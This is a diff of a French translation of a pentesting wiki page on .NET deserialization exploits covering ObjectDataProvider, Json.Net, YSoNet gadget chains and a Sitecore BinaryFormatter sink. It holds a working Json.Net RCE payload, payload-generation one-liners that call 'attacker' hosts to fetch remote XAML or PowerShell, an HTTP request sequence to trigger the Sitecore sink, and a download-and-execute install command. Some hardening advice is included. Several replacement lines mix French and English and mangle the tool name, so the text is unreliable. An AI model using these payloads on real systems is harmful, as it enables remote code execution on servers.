-En utilisant l'exploit précédent, il y aura des cas où l'**objet** va être **désérialisé en tant que** une instance _**ObjectDataProvider**_ (par exemple dans la vulnérabilité DotNetNuke, en utilisant XmlSerializer, l'objet a été désérialisé en utilisant `GetType`). Ensuite, il n'aura **aucune connaissance du type d'objet qui est encapsulé** dans l'instance _ObjectDataProvider_ (par exemple `Process`). Vous pouvez trouver plus [d'informations sur la vulnérabilité DotNetNuke ici](https://translate.google.com/translate?hl=en&sl=auto&tl=en&u=https%3A%2F%2Fpaper.seebug.org%2F365%2F&sandbox=1).
+En utilisant l'exploit précédent, il y aura des cas où l'**objet** sera **désérialisé en tant que** une instance _**ObjectDataProvider**_ (par exemple dans la DotNetNuke vuln, en utilisant XmlSerializer, l'objet a été désérialisé en utilisant `GetType`). Ensuite, il n'aura **aucune connaissance du type d'objet encapsulé** dans l'instance _ObjectDataProvider_ (`Process` par exemple). Vous pouvez trouver plus [information about the DotNetNuke vuln here](https://translate.google.com/translate?hl=en&sl=auto&tl=en&u=https%3A%2F%2Fpaper.seebug.org%2F365%2F&sandbox=1).
 
-Cette classe permet de **spécifier les types d'objets des objets qui sont encapsulés** dans une instance donnée. Ainsi, cette classe peut être utilisée pour encapsuler un objet source (_ObjectDataProvider_) dans un nouveau type d'objet et fournir les propriétés dont nous avons besoin (_ObjectDataProvider.MethodName_ et _ObjectDataProvider.MethodParameters_).\
-Ceci est très utile pour des cas comme celui présenté précédemment, car nous serons en mesure de **wrap \_ObjectDataProvider**_** à l'intérieur d'une instance **_**ExpandedWrapper** \_ et **lors de la désérialisation**, cette classe va **créer** l'objet _**OjectDataProvider**_ qui va **exécuter** la **fonction** indiquée dans _**MethodName**_.
+Cette classe permet de s**pécifier les types des objets qui sont encapsulés** dans une instance donnée. Ainsi, cette classe peut être utilisée pour encapsuler un objet source (_ObjectDataProvider_) dans un nouveau type d'objet et fournir les propriétés dont nous avons besoin (_ObjectDataProvider.MethodName_ et _ObjectDataProvider.MethodParameters_).\
+Ceci est très utile pour des cas comme celui présenté précédemment, car nous pourrons **emboîter \_ObjectDataProvider**_** dans une **_**ExpandedWrapper** \_ instance et **lors de la désérialisation** cette classe va **créer** le _**OjectDataProvider**_ objet qui va **exécuter** la **fonction** indiquée dans _**MethodName**_.
 
-Vous pouvez vérifier ce wrapper avec le code suivant :
+Vous pouvez check this wrapper with the following code:
 ```java
 using System.Windows.Data;
 using System.Diagnostics;
@@ -85,11 +85,11 @@ myExpWrap.ProjectedProperty0.MethodName = "Start";
 ```
 ## Json.Net
 
-Dans la [page web officielle](https://www.newtonsoft.com/json), il est indiqué que cette bibliothèque permet de **sérialiser et désérialiser n'importe quel objet .NET avec le puissant sérialiseur JSON de Json.NET**. Donc, si nous pouvions **désérialiser le gadget ObjectDataProvider**, nous pourrions provoquer un **RCE** simplement en désérialisant un objet.
+Dans la [official web page](https://www.newtonsoft.com/json) il est indiqué que cette bibliothèque permet de **Serialize and deserialize any .NET object with Json.NET's powerful JSON serializer**. Donc, si nous pouvions **deserialize the ObjectDataProvider gadget**, nous pourrions provoquer une **RCE** simplement en deserializing an object.
 
 ### Exemple Json.Net
 
-Tout d'abord, voyons un exemple sur comment **sérialiser/désérialiser** un objet en utilisant cette bibliothèque :
+Tout d'abord, voyons un exemple montrant comment **serialize/deserialize** un objet en utilisant cette bibliothèque:
 ```java
 using System;
 using Newtonsoft.Json;
@@ -132,11 +132,11 @@ Console.WriteLine(desaccount.Email);
 }
 }
 ```
-### Abuser Json.Net
+### Abusing Json.Net
 
-En utilisant [ysoserial.net](https://github.com/pwntester/ysoserial.net), j'ai créé l'exploit :
+En utilisant [ysoserial.net](https://github.com/pwntester/ysoserial.net) j'ai créé l'exploit :
 ```java
-ysoserial.exe -g ObjectDataProvider -f Json.Net -c "calc.exe"
+yoserial.exe -g ObjectDataProvider -f Json.Net -c "calc.exe"
 {
 '$type':'System.Windows.Data.ObjectDataProvider, PresentationFramework, Version=4.0.0.0, Culture=neutral, PublicKeyToken=31bf3856ad364e35',
 'MethodName':'Start',
@@ -147,7 +147,7 @@ ysoserial.exe -g ObjectDataProvider -f Json.Net -c "calc.exe"
 'ObjectInstance':{'$type':'System.Diagnostics.Process, System, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089'}
 }
 ```
-Dans ce code, vous pouvez **tester l'exploit**, il suffit de l'exécuter et vous verrez qu'une calc est exécutée :
+Dans ce code, vous pouvez **tester l'exploit**, il suffit de l'exécuter et vous verrez qu'un calc est exécuté :
 ```java
 using System;
 using System.Text;
@@ -184,4 +184,80 @@ TypeNameHandling = TypeNameHandling.Auto
 }
 }
 ```
+## Advanced .NET Gadget Chains (YSoNet & ysoserial.net)
+
+La technique ObjectDataProvider + ExpandedWrapper introduite ci‑dessus n'est qu'une des NOMBREUSES gadget chains qui peuvent être abusées lorsqu'une application effectue une **désérialisation .NET non sécurisée**. Les outils modernes de red-team tels que **[YSoNet](https://github.com/irsdl/ysonet)** (et l'ancien [ysoserial.net](https://github.com/pwntester/ysoserial.net)) automatisent la création de **graphes d'objets malveillants prêts à l'emploi** pour des dizaines de gadgets et formats de sérialisation.
+
+Ci‑dessous se trouve une référence condensée des chaînes les plus utiles fournies avec *YSoNet* accompagnée d'une brève explication de leur fonctionnement et d'exemples de commandes pour générer les payloads.
+
+| Gadget Chain | Key Idea / Primitive | Common Serializers | YSoNet one-liner |
+|--------------|----------------------|--------------------|------------------|
+| **TypeConfuseDelegate** | Corrompt le record `DelegateSerializationHolder` de sorte qu'une fois matérialisé, le delegate pointe vers *n'importe quelle* méthode fournie par l'attaquant (ex. `Process.Start`) | `BinaryFormatter`, `SoapFormatter`, `NetDataContractSerializer` | `ysonet.exe TypeConfuseDelegate "calc.exe" > payload.bin` |
+| **ActivitySurrogateSelector** | Exploite `System.Workflow.ComponentModel.ActivitySurrogateSelector` pour *contourner le filtrage de type .NET ≥4.8* et invoquer directement le **constructeur** d'une classe fournie ou **compiler** un fichier C# à la volée | `BinaryFormatter`, `NetDataContractSerializer`, `LosFormatter` | `ysonet.exe ActivitySurrogateSelectorFromFile ExploitClass.cs;System.Windows.Forms.dll > payload.dat` |
+| **DataSetOldBehaviour** | Tire parti de la représentation XML **héritée** de `System.Data.DataSet` pour instancier des types arbitraires en remplissant les champs `<ColumnMapping>` / `<DataType>` (possibilité de falsifier l'assembly avec `--spoofedAssembly`) | `LosFormatter`, `BinaryFormatter`, `XmlSerializer` | `ysonet.exe DataSetOldBehaviour "<DataSet>…</DataSet>" --spoofedAssembly mscorlib > payload.xml` |
+| **GetterCompilerResults** | Sur les runtimes avec WPF activé (> .NET 5), enchaîne les getters de propriétés jusqu'à atteindre `System.CodeDom.Compiler.CompilerResults`, puis *compile* ou *charge* une DLL fournie avec `-c` | `Json.NET` typeless, `MessagePack` typeless | `ysonet.exe GetterCompilerResults -c Loader.dll > payload.json` |
+| **ObjectDataProvider** (review) | Utilise WPF `System.Windows.Data.ObjectDataProvider` pour appeler une méthode statique arbitraire avec des arguments contrôlés. YSoNet ajoute une variante pratique `--xamlurl` pour héberger le XAML malveillant à distance | `BinaryFormatter`, `Json.NET`, `XAML`, *etc.* | `ysonet.exe ObjectDataProvider --xamlurl http://attacker/o.xaml > payload.xaml` |
+| **PSObject (CVE-2017-8565)** | Incorpore un `ScriptBlock` dans `System.Management.Automation.PSObject` qui s'exécute lorsque PowerShell désérialise l'objet | PowerShell remoting, `BinaryFormatter` | `ysonet.exe PSObject "Invoke-WebRequest http://attacker/evil.ps1" > psobj.bin` |
+
+> [!TIP]
+> Tous les payloads sont **écrits sur *stdout*** par défaut, ce qui rend trivial de les rediriger vers d'autres outils (ex. générateurs ViewState, encodeurs base64, clients HTTP).
+
+### Building / Installing YSoNet
+
+Si aucun binaire précompilé n'est disponible sous *Actions ➜ Artifacts* / *Releases*, la commande PowerShell en une seule ligne suivante préparera un environnement de build, clonera le dépôt et compilera tout en mode *Release* :
+```powershell
+Set-ExecutionPolicy Bypass -Scope Process -Force;
+[System.Net.ServicePointManager]::SecurityProtocol = [System.Net.ServicePointManager]::SecurityProtocol -bor 3072;
+iex ((New-Object System.Net.WebClient).DownloadString('https://community.chocolatey.org/install.ps1'));
+choco install visualstudio2022community visualstudio2022-workload-nativedesktop msbuild.communitytasks nuget.commandline git --yes;
+
+git clone https://github.com/irsdl/ysonet
+cd ysonet
+nuget restore ysonet.sln
+msbuild ysonet.sln -p:Configuration=Release
+```
+Le binaire compilé `ysonet.exe` peut alors être trouvé dans `ysonet/bin/Release/`.
+
+### Détection et durcissement
+* **Détecter** les processus enfants inattendus de `w3wp.exe`, `PowerShell.exe`, ou de tout processus désérialisant des données fournies par l'utilisateur (p. ex. `MessagePack`, `Json.NET`).
+* Activer et **appliquer le filtrage des types** (`TypeFilterLevel` = *Full*, custom `SurrogateSelector`, `SerializationBinder`, *etc.*) chaque fois que le legacy `BinaryFormatter` / `NetDataContractSerializer` ne peut pas être supprimé.
+* Quand possible, migrer vers **`System.Text.Json`** ou **`DataContractJsonSerializer`** avec des convertisseurs basés sur une liste blanche.
+* Empêcher le chargement des assemblies WPF dangereux (`PresentationFramework`, `System.Workflow.*`) dans les processus web qui ne devraient jamais en avoir besoin.
+
+## Sink réel : Sitecore convertToRuntimeHtml → BinaryFormatter
+
+Un sink .NET pratique accessible dans les flux authentifiés de Sitecore XP Content Editor :
+
+- API de sink : `Sitecore.Convert.Base64ToObject(string)` encapsule `new BinaryFormatter().Deserialize(...)`.
+- Chemin de déclenchement : pipeline `convertToRuntimeHtml` → `ConvertWebControls`, qui recherche un élément frère avec `id="{iframeId}_inner"` et lit un attribut `value` qui est traité comme des données sérialisées encodées en base64. Le résultat est converti en string et inséré dans le HTML.
+
+Exemple minimal de bout en bout (authentifié) :
+```
+// Load HTML into EditHtml session
+POST /sitecore/shell/-/xaml/Sitecore.Shell.Applications.ContentEditor.Dialogs.EditHtml.aspx
+Content-Type: application/x-www-form-urlencoded
+
+__PARAMETERS=edithtml:fix&...&ctl00$ctl00$ctl05$Html=
+<html>
+<iframe id="test" src="poc"></iframe>
+<dummy id="test_inner" value="BASE64_BINARYFORMATTER"></dummy>
+</html>
+
+// Server returns a handle; visiting FixHtml.aspx?hdl=... triggers deserialization
+GET /sitecore/shell/-/xaml/Sitecore.Shell.Applications.ContentEditor.Dialogs.FixHtml.aspx?hdl=...
+```
+- Gadget: n'importe quelle chaîne BinaryFormatter renvoyant une string (les effets secondaires s'exécutent pendant la désérialisation). Voir YSoNet/ysoserial.net pour générer des payloads.
+
+Pour une chaîne complète qui commence pre‑auth avec HTML cache poisoning dans Sitecore et conduit à ce sink:
+
+{{#ref}}
+../../network-services-pentesting/pentesting-web/sitecore/README.md
+{{#endref}}
+
+## Références
+- [YSoNet – Générateur de payloads de désérialisation .NET](https://github.com/irsdl/ysonet)
+- [ysoserial.net – outil PoC original](https://github.com/pwntester/ysoserial.net)
+- [Microsoft – CVE-2017-8565](https://msrc.microsoft.com/update-guide/vulnerability/CVE-2017-8565)
+- [watchTowr Labs – Sitecore XP cache poisoning → RCE](https://labs.watchtowr.com/cache-me-if-you-can-sitecore-experience-platform-cache-poisoning-to-rce/)
+
 {{#include ../../banners/hacktricks-training.md}}